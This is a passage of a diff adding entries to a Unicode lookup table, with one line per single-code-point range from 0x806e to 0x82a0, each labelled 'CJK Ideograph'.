+ [0x806e, 0x806e], /* CJK Ideograph */
+ [0x806f, 0x806f], /* CJK Ideograph */
+ [0x8070, 0x8070], /* CJK Ideograph */
+ [0x8071, 0x8071], /* CJK Ideograph */
+ [0x8072, 0x8072], /* CJK Ideograph */
+ [0x8073, 0x8073], /* CJK Ideograph */
+ [0x8074, 0x8074], /* CJK Ideograph */
+ [0x8075, 0x8075], /* CJK Ideograph */
+ [0x8076, 0x8076], /* CJK Ideograph */
+ [0x8077, 0x8077], /* CJK Ideograph */
+ [0x8078, 0x8078], /* CJK Ideograph */
+ [0x8079, 0x8079], /* CJK Ideograph */
+ [0x807a, 0x807a], /* CJK Ideograph */
+ [0x807b, 0x807b], /* CJK Ideograph */
+ [0x807c, 0x807c], /* CJK Ideograph */
+ [0x807d, 0x807d], /* CJK Ideograph */
+ [0x807e, 0x807e], /* CJK Ideograph */
+ [0x807f, 0x807f], /* CJK Ideograph */
+ [0x8080, 0x8080], /* CJK Ideograph */
+ [0x8081, 0x8081], /* CJK Ideograph */
+ [0x8082, 0x8082], /* CJK Ideograph */
+ [0x8083, 0x8083], /* CJK Ideograph */
+ [0x8084, 0x8084], /* CJK Ideograph */
+ [0x8085, 0x8085], /* CJK Ideograph */
+ [0x8086, 0x8086], /* CJK Ideograph */
+ [0x8087, 0x8087], /* CJK Ideograph */
+ [0x8088, 0x8088], /* CJK Ideograph */
+ [0x8089, 0x8089], /* CJK Ideograph */
+ [0x808a, 0x808a], /* CJK Ideograph */
+ [0x808b, 0x808b], /* CJK Ideograph */
+ [0x808c, 0x808c], /* CJK Ideograph */
+ [0x808d, 0x808d], /* CJK Ideograph */
+ [0x808e, 0x808e], /* CJK Ideograph */
+ [0x808f, 0x808f], /* CJK Ideograph */
+ [0x8090, 0x8090], /* CJK Ideograph */
+ [0x8091, 0x8091], /* CJK Ideograph */
+ [0x8092, 0x8092], /* CJK Ideograph */
+ [0x8093, 0x8093], /* CJK Ideograph */
+ [0x8094, 0x8094], /* CJK Ideograph */
+ [0x8095, 0x8095], /* CJK Ideograph */
+ [0x8096, 0x8096], /* CJK Ideograph */
+ [0x8097, 0x8097], /* CJK Ideograph */
+ [0x8098, 0x8098], /* CJK Ideograph */
+ [0x8099, 0x8099], /* CJK Ideograph */
+ [0x809a, 0x809a], /* CJK Ideograph */
+ [0x809b, 0x809b], /* CJK Ideograph */
+ [0x809c, 0x809c], /* CJK Ideograph */
+ [0x809d, 0x809d], /* CJK Ideograph */
+ [0x809e, 0x809e], /* CJK Ideograph */
+ [0x809f, 0x809f], /* CJK Ideograph */
+ [0x80a0, 0x80a0], /* CJK Ideograph */
+ [0x80a1, 0x80a1], /* CJK Ideograph */
+ [0x80a2, 0x80a2], /* CJK Ideograph */
+ [0x80a3, 0x80a3], /* CJK Ideograph */
+ [0x80a4, 0x80a4], /* CJK Ideograph */
+ [0x80a5, 0x80a5], /* CJK Ideograph */
+ [0x80a6, 0x80a6], /* CJK Ideograph */
+ [0x80a7, 0x80a7], /* CJK Ideograph */
+ [0x80a8, 0x80a8], /* CJK Ideograph */
+ [0x80a9, 0x80a9], /* CJK Ideograph */
+ [0x80aa, 0x80aa], /* CJK Ideograph */
+ [0x80ab, 0x80ab], /* CJK Ideograph */
+ [0x80ac, 0x80ac], /* CJK Ideograph */
+ [0x80ad, 0x80ad], /* CJK Ideograph */
+ [0x80ae, 0x80ae], /* CJK Ideograph */
+ [0x80af, 0x80af], /* CJK Ideograph */
+ [0x80b0, 0x80b0], /* CJK Ideograph */
+ [0x80b1, 0x80b1], /* CJK Ideograph */
+ [0x80b2, 0x80b2], /* CJK Ideograph */
+ [0x80b3, 0x80b3], /* CJK Ideograph */
+ [0x80b4, 0x80b4], /* CJK Ideograph */
+ [0x80b5, 0x80b5], /* CJK Ideograph */
+ [0x80b6, 0x80b6], /* CJK Ideograph */
+ [0x80b7, 0x80b7], /* CJK Ideograph */
+ [0x80b8, 0x80b8], /* CJK Ideograph */
+ [0x80b9, 0x80b9], /* CJK Ideograph */
+ [0x80ba, 0x80ba], /* CJK Ideograph */
+ [0x80bb, 0x80bb], /* CJK Ideograph */
+ [0x80bc, 0x80bc], /* CJK Ideograph */
+ [0x80bd, 0x80bd], /* CJK Ideograph */
+ [0x80be, 0x80be], /* CJK Ideograph */
+ [0x80bf, 0x80bf], /* CJK Ideograph */
+ [0x80c0, 0x80c0], /* CJK Ideograph */
+ [0x80c1, 0x80c1], /* CJK Ideograph */
+ [0x80c2, 0x80c2], /* CJK Ideograph */
+ [0x80c3, 0x80c3], /* CJK Ideograph */
+ [0x80c4, 0x80c4], /* CJK Ideograph */
+ [0x80c5, 0x80c5], /* CJK Ideograph */
+ [0x80c6, 0x80c6], /* CJK Ideograph */
+ [0x80c7, 0x80c7], /* CJK Ideograph */
+ [0x80c8, 0x80c8], /* CJK Ideograph */
+ [0x80c9, 0x80c9], /* CJK Ideograph */
+ [0x80ca, 0x80ca], /* CJK Ideograph */
+ [0x80cb, 0x80cb], /* CJK Ideograph */
+ [0x80cc, 0x80cc], /* CJK Ideograph */
+ [0x80cd, 0x80cd], /* CJK Ideograph */
+ [0x80ce, 0x80ce], /* CJK Ideograph */
+ [0x80cf, 0x80cf], /* CJK Ideograph */
+ [0x80d0, 0x80d0], /* CJK Ideograph */
+ [0x80d1, 0x80d1], /* CJK Ideograph */
+ [0x80d2, 0x80d2], /* CJK Ideograph */
+ [0x80d3, 0x80d3], /* CJK Ideograph */
+ [0x80d4, 0x80d4], /* CJK Ideograph */
+ [0x80d5, 0x80d5], /* CJK Ideograph */
+ [0x80d6, 0x80d6], /* CJK Ideograph */
+ [0x80d7, 0x80d7], /* CJK Ideograph */
+ [0x80d8, 0x80d8], /* CJK Ideograph */
+ [0x80d9, 0x80d9], /* CJK Ideograph */
+ [0x80da, 0x80da], /* CJK Ideograph */
+ [0x80db, 0x80db], /* CJK Ideograph */
+ [0x80dc, 0x80dc], /* CJK Ideograph */
+ [0x80dd, 0x80dd], /* CJK Ideograph */
+ [0x80de, 0x80de], /* CJK Ideograph */
+ [0x80df, 0x80df], /* CJK Ideograph */
+ [0x80e0, 0x80e0], /* CJK Ideograph */
+ [0x80e1, 0x80e1], /* CJK Ideograph */
+ [0x80e2, 0x80e2], /* CJK Ideograph */
+ [0x80e3, 0x80e3], /* CJK Ideograph */
+ [0x80e4, 0x80e4], /* CJK Ideograph */
+ [0x80e5, 0x80e5], /* CJK Ideograph */
+ [0x80e6, 0x80e6], /* CJK Ideograph */
+ [0x80e7, 0x80e7], /* CJK Ideograph */
+ [0x80e8, 0x80e8], /* CJK Ideograph */
+ [0x80e9, 0x80e9], /* CJK Ideograph */
+ [0x80ea, 0x80ea], /* CJK Ideograph */
+ [0x80eb, 0x80eb], /* CJK Ideograph */
+ [0x80ec, 0x80ec], /* CJK Ideograph */
+ [0x80ed, 0x80ed], /* CJK Ideograph */
+ [0x80ee, 0x80ee], /* CJK Ideograph */
+ [0x80ef, 0x80ef], /* CJK Ideograph */
+ [0x80f0, 0x80f0], /* CJK Ideograph */
+ [0x80f1, 0x80f1], /* CJK Ideograph */
+ [0x80f2, 0x80f2], /* CJK Ideograph */
+ [0x80f3, 0x80f3], /* CJK Ideograph */
+ [0x80f4, 0x80f4], /* CJK Ideograph */
+ [0x80f5, 0x80f5], /* CJK Ideograph */
+ [0x80f6, 0x80f6], /* CJK Ideograph */
+ [0x80f7, 0x80f7], /* CJK Ideograph */
+ [0x80f8, 0x80f8], /* CJK Ideograph */
+ [0x80f9, 0x80f9], /* CJK Ideograph */
+ [0x80fa, 0x80fa], /* CJK Ideograph */
+ [0x80fb, 0x80fb], /* CJK Ideograph */
+ [0x80fc, 0x80fc], /* CJK Ideograph */
+ [0x80fd, 0x80fd], /* CJK Ideograph */
+ [0x80fe, 0x80fe], /* CJK Ideograph */
+ [0x80ff, 0x80ff], /* CJK Ideograph */
+ [0x8100, 0x8100], /* CJK Ideograph */
+ [0x8101, 0x8101], /* CJK Ideograph */
+ [0x8102, 0x8102], /* CJK Ideograph */
+ [0x8103, 0x8103], /* CJK Ideograph */
+ [0x8104, 0x8104], /* CJK Ideograph */
+ [0x8105, 0x8105], /* CJK Ideograph */
+ [0x8106, 0x8106], /* CJK Ideograph */
+ [0x8107, 0x8107], /* CJK Ideograph */
+ [0x8108, 0x8108], /* CJK Ideograph */
+ [0x8109, 0x8109], /* CJK Ideograph */
+ [0x810a, 0x810a], /* CJK Ideograph */
+ [0x810b, 0x810b], /* CJK Ideograph */
+ [0x810c, 0x810c], /* CJK Ideograph */
+ [0x810d, 0x810d], /* CJK Ideograph */
+ [0x810e, 0x810e], /* CJK Ideograph */
+ [0x810f, 0x810f], /* CJK Ideograph */
+ [0x8110, 0x8110], /* CJK Ideograph */
+ [0x8111, 0x8111], /* CJK Ideograph */
+ [0x8112, 0x8112], /* CJK Ideograph */
+ [0x8113, 0x8113], /* CJK Ideograph */
+ [0x8114, 0x8114], /* CJK Ideograph */
+ [0x8115, 0x8115], /* CJK Ideograph */
+ [0x8116, 0x8116], /* CJK Ideograph */
+ [0x8117, 0x8117], /* CJK Ideograph */
+ [0x8118, 0x8118], /* CJK Ideograph */
+ [0x8119, 0x8119], /* CJK Ideograph */
+ [0x811a, 0x811a], /* CJK Ideograph */
+ [0x811b, 0x811b], /* CJK Ideograph */
+ [0x811c, 0x811c], /* CJK Ideograph */
+ [0x811d, 0x811d], /* CJK Ideograph */
+ [0x811e, 0x811e], /* CJK Ideograph */
+ [0x811f, 0x811f], /* CJK Ideograph */
+ [0x8120, 0x8120], /* CJK Ideograph */
+ [0x8121, 0x8121], /* CJK Ideograph */
+ [0x8122, 0x8122], /* CJK Ideograph */
+ [0x8123, 0x8123], /* CJK Ideograph */
+ [0x8124, 0x8124], /* CJK Ideograph */
+ [0x8125, 0x8125], /* CJK Ideograph */
+ [0x8126, 0x8126], /* CJK Ideograph */
+ [0x8127, 0x8127], /* CJK Ideograph */
+ [0x8128, 0x8128], /* CJK Ideograph */
+ [0x8129, 0x8129], /* CJK Ideograph */
+ [0x812a, 0x812a], /* CJK Ideograph */
+ [0x812b, 0x812b], /* CJK Ideograph */
+ [0x812c, 0x812c], /* CJK Ideograph */
+ [0x812d, 0x812d], /* CJK Ideograph */
+ [0x812e, 0x812e], /* CJK Ideograph */
+ [0x812f, 0x812f], /* CJK Ideograph */
+ [0x8130, 0x8130], /* CJK Ideograph */
+ [0x8131, 0x8131], /* CJK Ideograph */
+ [0x8132, 0x8132], /* CJK Ideograph */
+ [0x8133, 0x8133], /* CJK Ideograph */
+ [0x8134, 0x8134], /* CJK Ideograph */
+ [0x8135, 0x8135], /* CJK Ideograph */
+ [0x8136, 0x8136], /* CJK Ideograph */
+ [0x8137, 0x8137], /* CJK Ideograph */
+ [0x8138, 0x8138], /* CJK Ideograph */
+ [0x8139, 0x8139], /* CJK Ideograph */
+ [0x813a, 0x813a], /* CJK Ideograph */
+ [0x813b, 0x813b], /* CJK Ideograph */
+ [0x813c, 0x813c], /* CJK Ideograph */
+ [0x813d, 0x813d], /* CJK Ideograph */
+ [0x813e, 0x813e], /* CJK Ideograph */
+ [0x813f, 0x813f], /* CJK Ideograph */
+ [0x8140, 0x8140], /* CJK Ideograph */
+ [0x8141, 0x8141], /* CJK Ideograph */
+ [0x8142, 0x8142], /* CJK Ideograph */
+ [0x8143, 0x8143], /* CJK Ideograph */
+ [0x8144, 0x8144], /* CJK Ideograph */
+ [0x8145, 0x8145], /* CJK Ideograph */
+ [0x8146, 0x8146], /* CJK Ideograph */
+ [0x8147, 0x8147], /* CJK Ideograph */
+ [0x8148, 0x8148], /* CJK Ideograph */
+ [0x8149, 0x8149], /* CJK Ideograph */
+ [0x814a, 0x814a], /* CJK Ideograph */
+ [0x814b, 0x814b], /* CJK Ideograph */
+ [0x814c, 0x814c], /* CJK Ideograph */
+ [0x814d, 0x814d], /* CJK Ideograph */
+ [0x814e, 0x814e], /* CJK Ideograph */
+ [0x814f, 0x814f], /* CJK Ideograph */
+ [0x8150, 0x8150], /* CJK Ideograph */
+ [0x8151, 0x8151], /* CJK Ideograph */
+ [0x8152, 0x8152], /* CJK Ideograph */
+ [0x8153, 0x8153], /* CJK Ideograph */
+ [0x8154, 0x8154], /* CJK Ideograph */
+ [0x8155, 0x8155], /* CJK Ideograph */
+ [0x8156, 0x8156], /* CJK Ideograph */
+ [0x8157, 0x8157], /* CJK Ideograph */
+ [0x8158, 0x8158], /* CJK Ideograph */
+ [0x8159, 0x8159], /* CJK Ideograph */
+ [0x815a, 0x815a], /* CJK Ideograph */
+ [0x815b, 0x815b], /* CJK Ideograph */
+ [0x815c, 0x815c], /* CJK Ideograph */
+ [0x815d, 0x815d], /* CJK Ideograph */
+ [0x815e, 0x815e], /* CJK Ideograph */
+ [0x815f, 0x815f], /* CJK Ideograph */
+ [0x8160, 0x8160], /* CJK Ideograph */
+ [0x8161, 0x8161], /* CJK Ideograph */
+ [0x8162, 0x8162], /* CJK Ideograph */
+ [0x8163, 0x8163], /* CJK Ideograph */
+ [0x8164, 0x8164], /* CJK Ideograph */
+ [0x8165, 0x8165], /* CJK Ideograph */
+ [0x8166, 0x8166], /* CJK Ideograph */
+ [0x8167, 0x8167], /* CJK Ideograph */
+ [0x8168, 0x8168], /* CJK Ideograph */
+ [0x8169, 0x8169], /* CJK Ideograph */
+ [0x816a, 0x816a], /* CJK Ideograph */
+ [0x816b, 0x816b], /* CJK Ideograph */
+ [0x816c, 0x816c], /* CJK Ideograph */
+ [0x816d, 0x816d], /* CJK Ideograph */
+ [0x816e, 0x816e], /* CJK Ideograph */
+ [0x816f, 0x816f], /* CJK Ideograph */
+ [0x8170, 0x8170], /* CJK Ideograph */
+ [0x8171, 0x8171], /* CJK Ideograph */
+ [0x8172, 0x8172], /* CJK Ideograph */
+ [0x8173, 0x8173], /* CJK Ideograph */
+ [0x8174, 0x8174], /* CJK Ideograph */
+ [0x8175, 0x8175], /* CJK Ideograph */
+ [0x8176, 0x8176], /* CJK Ideograph */
+ [0x8177, 0x8177], /* CJK Ideograph */
+ [0x8178, 0x8178], /* CJK Ideograph */
+ [0x8179, 0x8179], /* CJK Ideograph */
+ [0x817a, 0x817a], /* CJK Ideograph */
+ [0x817b, 0x817b], /* CJK Ideograph */
+ [0x817c, 0x817c], /* CJK Ideograph */
+ [0x817d, 0x817d], /* CJK Ideograph */
+ [0x817e, 0x817e], /* CJK Ideograph */
+ [0x817f, 0x817f], /* CJK Ideograph */
+ [0x8180, 0x8180], /* CJK Ideograph */
+ [0x8181, 0x8181], /* CJK Ideograph */
+ [0x8182, 0x8182], /* CJK Ideograph */
+ [0x8183, 0x8183], /* CJK Ideograph */
+ [0x8184, 0x8184], /* CJK Ideograph */
+ [0x8185, 0x8185], /* CJK Ideograph */
+ [0x8186, 0x8186], /* CJK Ideograph */
+ [0x8187, 0x8187], /* CJK Ideograph */
+ [0x8188, 0x8188], /* CJK Ideograph */
+ [0x8189, 0x8189], /* CJK Ideograph */
+ [0x818a, 0x818a], /* CJK Ideograph */
+ [0x818b, 0x818b], /* CJK Ideograph */
+ [0x818c, 0x818c], /* CJK Ideograph */
+ [0x818d, 0x818d], /* CJK Ideograph */
+ [0x818e, 0x818e], /* CJK Ideograph */
+ [0x818f, 0x818f], /* CJK Ideograph */
+ [0x8190, 0x8190], /* CJK Ideograph */
+ [0x8191, 0x8191], /* CJK Ideograph */
+ [0x8192, 0x8192], /* CJK Ideograph */
+ [0x8193, 0x8193], /* CJK Ideograph */
+ [0x8194, 0x8194], /* CJK Ideograph */
+ [0x8195, 0x8195], /* CJK Ideograph */
+ [0x8196, 0x8196], /* CJK Ideograph */
+ [0x8197, 0x8197], /* CJK Ideograph */
+ [0x8198, 0x8198], /* CJK Ideograph */
+ [0x8199, 0x8199], /* CJK Ideograph */
+ [0x819a, 0x819a], /* CJK Ideograph */
+ [0x819b, 0x819b], /* CJK Ideograph */
+ [0x819c, 0x819c], /* CJK Ideograph */
+ [0x819d, 0x819d], /* CJK Ideograph */
+ [0x819e, 0x819e], /* CJK Ideograph */
+ [0x819f, 0x819f], /* CJK Ideograph */
+ [0x81a0, 0x81a0], /* CJK Ideograph */
+ [0x81a1, 0x81a1], /* CJK Ideograph */
+ [0x81a2, 0x81a2], /* CJK Ideograph */
+ [0x81a3, 0x81a3], /* CJK Ideograph */
+ [0x81a4, 0x81a4], /* CJK Ideograph */
+ [0x81a5, 0x81a5], /* CJK Ideograph */
+ [0x81a6, 0x81a6], /* CJK Ideograph */
+ [0x81a7, 0x81a7], /* CJK Ideograph */
+ [0x81a8, 0x81a8], /* CJK Ideograph */
+ [0x81a9, 0x81a9], /* CJK Ideograph */
+ [0x81aa, 0x81aa], /* CJK Ideograph */
+ [0x81ab, 0x81ab], /* CJK Ideograph */
+ [0x81ac, 0x81ac], /* CJK Ideograph */
+ [0x81ad, 0x81ad], /* CJK Ideograph */
+ [0x81ae, 0x81ae], /* CJK Ideograph */
+ [0x81af, 0x81af], /* CJK Ideograph */
+ [0x81b0, 0x81b0], /* CJK Ideograph */
+ [0x81b1, 0x81b1], /* CJK Ideograph */
+ [0x81b2, 0x81b2], /* CJK Ideograph */
+ [0x81b3, 0x81b3], /* CJK Ideograph */
+ [0x81b4, 0x81b4], /* CJK Ideograph */
+ [0x81b5, 0x81b5], /* CJK Ideograph */
+ [0x81b6, 0x81b6], /* CJK Ideograph */
+ [0x81b7, 0x81b7], /* CJK Ideograph */
+ [0x81b8, 0x81b8], /* CJK Ideograph */
+ [0x81b9, 0x81b9], /* CJK Ideograph */
+ [0x81ba, 0x81ba], /* CJK Ideograph */
+ [0x81bb, 0x81bb], /* CJK Ideograph */
+ [0x81bc, 0x81bc], /* CJK Ideograph */
+ [0x81bd, 0x81bd], /* CJK Ideograph */
+ [0x81be, 0x81be], /* CJK Ideograph */
+ [0x81bf, 0x81bf], /* CJK Ideograph */
+ [0x81c0, 0x81c0], /* CJK Ideograph */
+ [0x81c1, 0x81c1], /* CJK Ideograph */
+ [0x81c2, 0x81c2], /* CJK Ideograph */
+ [0x81c3, 0x81c3], /* CJK Ideograph */
+ [0x81c4, 0x81c4], /* CJK Ideograph */
+ [0x81c5, 0x81c5], /* CJK Ideograph */
+ [0x81c6, 0x81c6], /* CJK Ideograph */
+ [0x81c7, 0x81c7], /* CJK Ideograph */
+ [0x81c8, 0x81c8], /* CJK Ideograph */
+ [0x81c9, 0x81c9], /* CJK Ideograph */
+ [0x81ca, 0x81ca], /* CJK Ideograph */
+ [0x81cb, 0x81cb], /* CJK Ideograph */
+ [0x81cc, 0x81cc], /* CJK Ideograph */
+ [0x81cd, 0x81cd], /* CJK Ideograph */
+ [0x81ce, 0x81ce], /* CJK Ideograph */
+ [0x81cf, 0x81cf], /* CJK Ideograph */
+ [0x81d0, 0x81d0], /* CJK Ideograph */
+ [0x81d1, 0x81d1], /* CJK Ideograph */
+ [0x81d2, 0x81d2], /* CJK Ideograph */
+ [0x81d3, 0x81d3], /* CJK Ideograph */
+ [0x81d4, 0x81d4], /* CJK Ideograph */
+ [0x81d5, 0x81d5], /* CJK Ideograph */
+ [0x81d6, 0x81d6], /* CJK Ideograph */
+ [0x81d7, 0x81d7], /* CJK Ideograph */
+ [0x81d8, 0x81d8], /* CJK Ideograph */
+ [0x81d9, 0x81d9], /* CJK Ideograph */
+ [0x81da, 0x81da], /* CJK Ideograph */
+ [0x81db, 0x81db], /* CJK Ideograph */
+ [0x81dc, 0x81dc], /* CJK Ideograph */
+ [0x81dd, 0x81dd], /* CJK Ideograph */
+ [0x81de, 0x81de], /* CJK Ideograph */
+ [0x81df, 0x81df], /* CJK Ideograph */
+ [0x81e0, 0x81e0], /* CJK Ideograph */
+ [0x81e1, 0x81e1], /* CJK Ideograph */
+ [0x81e2, 0x81e2], /* CJK Ideograph */
+ [0x81e3, 0x81e3], /* CJK Ideograph */
+ [0x81e4, 0x81e4], /* CJK Ideograph */
+ [0x81e5, 0x81e5], /* CJK Ideograph */
+ [0x81e6, 0x81e6], /* CJK Ideograph */
+ [0x81e7, 0x81e7], /* CJK Ideograph */
+ [0x81e8, 0x81e8], /* CJK Ideograph */
+ [0x81e9, 0x81e9], /* CJK Ideograph */
+ [0x81ea, 0x81ea], /* CJK Ideograph */
+ [0x81eb, 0x81eb], /* CJK Ideograph */
+ [0x81ec, 0x81ec], /* CJK Ideograph */
+ [0x81ed, 0x81ed], /* CJK Ideograph */
+ [0x81ee, 0x81ee], /* CJK Ideograph */
+ [0x81ef, 0x81ef], /* CJK Ideograph */
+ [0x81f0, 0x81f0], /* CJK Ideograph */
+ [0x81f1, 0x81f1], /* CJK Ideograph */
+ [0x81f2, 0x81f2], /* CJK Ideograph */
+ [0x81f3, 0x81f3], /* CJK Ideograph */
+ [0x81f4, 0x81f4], /* CJK Ideograph */
+ [0x81f5, 0x81f5], /* CJK Ideograph */
+ [0x81f6, 0x81f6], /* CJK Ideograph */
+ [0x81f7, 0x81f7], /* CJK Ideograph */
+ [0x81f8, 0x81f8], /* CJK Ideograph */
+ [0x81f9, 0x81f9], /* CJK Ideograph */
+ [0x81fa, 0x81fa], /* CJK Ideograph */
+ [0x81fb, 0x81fb], /* CJK Ideograph */
+ [0x81fc, 0x81fc], /* CJK Ideograph */
+ [0x81fd, 0x81fd], /* CJK Ideograph */
+ [0x81fe, 0x81fe], /* CJK Ideograph */
+ [0x81ff, 0x81ff], /* CJK Ideograph */
+ [0x8200, 0x8200], /* CJK Ideograph */
+ [0x8201, 0x8201], /* CJK Ideograph */
+ [0x8202, 0x8202], /* CJK Ideograph */
+ [0x8203, 0x8203], /* CJK Ideograph */
+ [0x8204, 0x8204], /* CJK Ideograph */
+ [0x8205, 0x8205], /* CJK Ideograph */
+ [0x8206, 0x8206], /* CJK Ideograph */
+ [0x8207, 0x8207], /* CJK Ideograph */
+ [0x8208, 0x8208], /* CJK Ideograph */
+ [0x8209, 0x8209], /* CJK Ideograph */
+ [0x820a, 0x820a], /* CJK Ideograph */
+ [0x820b, 0x820b], /* CJK Ideograph */
+ [0x820c, 0x820c], /* CJK Ideograph */
+ [0x820d, 0x820d], /* CJK Ideograph */
+ [0x820e, 0x820e], /* CJK Ideograph */
+ [0x820f, 0x820f], /* CJK Ideograph */
+ [0x8210, 0x8210], /* CJK Ideograph */
+ [0x8211, 0x8211], /* CJK Ideograph */
+ [0x8212, 0x8212], /* CJK Ideograph */
+ [0x8213, 0x8213], /* CJK Ideograph */
+ [0x8214, 0x8214], /* CJK Ideograph */
+ [0x8215, 0x8215], /* CJK Ideograph */
+ [0x8216, 0x8216], /* CJK Ideograph */
+ [0x8217, 0x8217], /* CJK Ideograph */
+ [0x8218, 0x8218], /* CJK Ideograph */
+ [0x8219, 0x8219], /* CJK Ideograph */
+ [0x821a, 0x821a], /* CJK Ideograph */
+ [0x821b, 0x821b], /* CJK Ideograph */
+ [0x821c, 0x821c], /* CJK Ideograph */
+ [0x821d, 0x821d], /* CJK Ideograph */
+ [0x821e, 0x821e], /* CJK Ideograph */
+ [0x821f, 0x821f], /* CJK Ideograph */
+ [0x8220, 0x8220], /* CJK Ideograph */
+ [0x8221, 0x8221], /* CJK Ideograph */
+ [0x8222, 0x8222], /* CJK Ideograph */
+ [0x8223, 0x8223], /* CJK Ideograph */
+ [0x8224, 0x8224], /* CJK Ideograph */
+ [0x8225, 0x8225], /* CJK Ideograph */
+ [0x8226, 0x8226], /* CJK Ideograph */
+ [0x8227, 0x8227], /* CJK Ideograph */
+ [0x8228, 0x8228], /* CJK Ideograph */
+ [0x8229, 0x8229], /* CJK Ideograph */
+ [0x822a, 0x822a], /* CJK Ideograph */
+ [0x822b, 0x822b], /* CJK Ideograph */
+ [0x822c, 0x822c], /* CJK Ideograph */
+ [0x822d, 0x822d], /* CJK Ideograph */
+ [0x822e, 0x822e], /* CJK Ideograph */
+ [0x822f, 0x822f], /* CJK Ideograph */
+ [0x8230, 0x8230], /* CJK Ideograph */
+ [0x8231, 0x8231], /* CJK Ideograph */
+ [0x8232, 0x8232], /* CJK Ideograph */
+ [0x8233, 0x8233], /* CJK Ideograph */
+ [0x8234, 0x8234], /* CJK Ideograph */
+ [0x8235, 0x8235], /* CJK Ideograph */
+ [0x8236, 0x8236], /* CJK Ideograph */
+ [0x8237, 0x8237], /* CJK Ideograph */
+ [0x8238, 0x8238], /* CJK Ideograph */
+ [0x8239, 0x8239], /* CJK Ideograph */
+ [0x823a, 0x823a], /* CJK Ideograph */
+ [0x823b, 0x823b], /* CJK Ideograph */
+ [0x823c, 0x823c], /* CJK Ideograph */
+ [0x823d, 0x823d], /* CJK Ideograph */
+ [0x823e, 0x823e], /* CJK Ideograph */
+ [0x823f, 0x823f], /* CJK Ideograph */
+ [0x8240, 0x8240], /* CJK Ideograph */
+ [0x8241, 0x8241], /* CJK Ideograph */
+ [0x8242, 0x8242], /* CJK Ideograph */
+ [0x8243, 0x8243], /* CJK Ideograph */
+ [0x8244, 0x8244], /* CJK Ideograph */
+ [0x8245, 0x8245], /* CJK Ideograph */
+ [0x8246, 0x8246], /* CJK Ideograph */
+ [0x8247, 0x8247], /* CJK Ideograph */
+ [0x8248, 0x8248], /* CJK Ideograph */
+ [0x8249, 0x8249], /* CJK Ideograph */
+ [0x824a, 0x824a], /* CJK Ideograph */
+ [0x824b, 0x824b], /* CJK Ideograph */
+ [0x824c, 0x824c], /* CJK Ideograph */
+ [0x824d, 0x824d], /* CJK Ideograph */
+ [0x824e, 0x824e], /* CJK Ideograph */
+ [0x824f, 0x824f], /* CJK Ideograph */
+ [0x8250, 0x8250], /* CJK Ideograph */
+ [0x8251, 0x8251], /* CJK Ideograph */
+ [0x8252, 0x8252], /* CJK Ideograph */
+ [0x8253, 0x8253], /* CJK Ideograph */
+ [0x8254, 0x8254], /* CJK Ideograph */
+ [0x8255, 0x8255], /* CJK Ideograph */
+ [0x8256, 0x8256], /* CJK Ideograph */
+ [0x8257, 0x8257], /* CJK Ideograph */
+ [0x8258, 0x8258], /* CJK Ideograph */
+ [0x8259, 0x8259], /* CJK Ideograph */
+ [0x825a, 0x825a], /* CJK Ideograph */
+ [0x825b, 0x825b], /* CJK Ideograph */
+ [0x825c, 0x825c], /* CJK Ideograph */
+ [0x825d, 0x825d], /* CJK Ideograph */
+ [0x825e, 0x825e], /* CJK Ideograph */
+ [0x825f, 0x825f], /* CJK Ideograph */
+ [0x8260, 0x8260], /* CJK Ideograph */
+ [0x8261, 0x8261], /* CJK Ideograph */
+ [0x8262, 0x8262], /* CJK Ideograph */
+ [0x8263, 0x8263], /* CJK Ideograph */
+ [0x8264, 0x8264], /* CJK Ideograph */
+ [0x8265, 0x8265], /* CJK Ideograph */
+ [0x8266, 0x8266], /* CJK Ideograph */
+ [0x8267, 0x8267], /* CJK Ideograph */
+ [0x8268, 0x8268], /* CJK Ideograph */
+ [0x8269, 0x8269], /* CJK Ideograph */
+ [0x826a, 0x826a], /* CJK Ideograph */
+ [0x826b, 0x826b], /* CJK Ideograph */
+ [0x826c, 0x826c], /* CJK Ideograph */
+ [0x826d, 0x826d], /* CJK Ideograph */
+ [0x826e, 0x826e], /* CJK Ideograph */
+ [0x826f, 0x826f], /* CJK Ideograph */
+ [0x8270, 0x8270], /* CJK Ideograph */
+ [0x8271, 0x8271], /* CJK Ideograph */
+ [0x8272, 0x8272], /* CJK Ideograph */
+ [0x8273, 0x8273], /* CJK Ideograph */
+ [0x8274, 0x8274], /* CJK Ideograph */
+ [0x8275, 0x8275], /* CJK Ideograph */
+ [0x8276, 0x8276], /* CJK Ideograph */
+ [0x8277, 0x8277], /* CJK Ideograph */
+ [0x8278, 0x8278], /* CJK Ideograph */
+ [0x8279, 0x8279], /* CJK Ideograph */
+ [0x827a, 0x827a], /* CJK Ideograph */
+ [0x827b, 0x827b], /* CJK Ideograph */
+ [0x827c, 0x827c], /* CJK Ideograph */
+ [0x827d, 0x827d], /* CJK Ideograph */
+ [0x827e, 0x827e], /* CJK Ideograph */
+ [0x827f, 0x827f], /* CJK Ideograph */
+ [0x8280, 0x8280], /* CJK Ideograph */
+ [0x8281, 0x8281], /* CJK Ideograph */
+ [0x8282, 0x8282], /* CJK Ideograph */
+ [0x8283, 0x8283], /* CJK Ideograph */
+ [0x8284, 0x8284], /* CJK Ideograph */
+ [0x8285, 0x8285], /* CJK Ideograph */
+ [0x8286, 0x8286], /* CJK Ideograph */
+ [0x8287, 0x8287], /* CJK Ideograph */
+ [0x8288, 0x8288], /* CJK Ideograph */
+ [0x8289, 0x8289], /* CJK Ideograph */
+ [0x828a, 0x828a], /* CJK Ideograph */
+ [0x828b, 0x828b], /* CJK Ideograph */
+ [0x828c, 0x828c], /* CJK Ideograph */
+ [0x828d, 0x828d], /* CJK Ideograph */
+ [0x828e, 0x828e], /* CJK Ideograph */
+ [0x828f, 0x828f], /* CJK Ideograph */
+ [0x8290, 0x8290], /* CJK Ideograph */
+ [0x8291, 0x8291], /* CJK Ideograph */
+ [0x8292, 0x8292], /* CJK Ideograph */
+ [0x8293, 0x8293], /* CJK Ideograph */
+ [0x8294, 0x8294], /* CJK Ideograph */
+ [0x8295, 0x8295], /* CJK Ideograph */
+ [0x8296, 0x8296], /* CJK Ideograph */
+ [0x8297, 0x8297], /* CJK Ideograph */
+ [0x8298, 0x8298], /* CJK Ideograph */
+ [0x8299, 0x8299], /* CJK Ideograph */
+ [0x829a, 0x829a], /* CJK Ideograph */
+ [0x829b, 0x829b], /* CJK Ideograph */
+ [0x829c, 0x829c], /* CJK Ideograph */
+ [0x829d, 0x829d], /* CJK Ideograph */
+ [0x829e, 0x829e], /* CJK Ideograph */
+ [0x829f, 0x829f], /* CJK Ideograph */
+ [0x82a0, 0x82a0], /* CJK Ideograph */
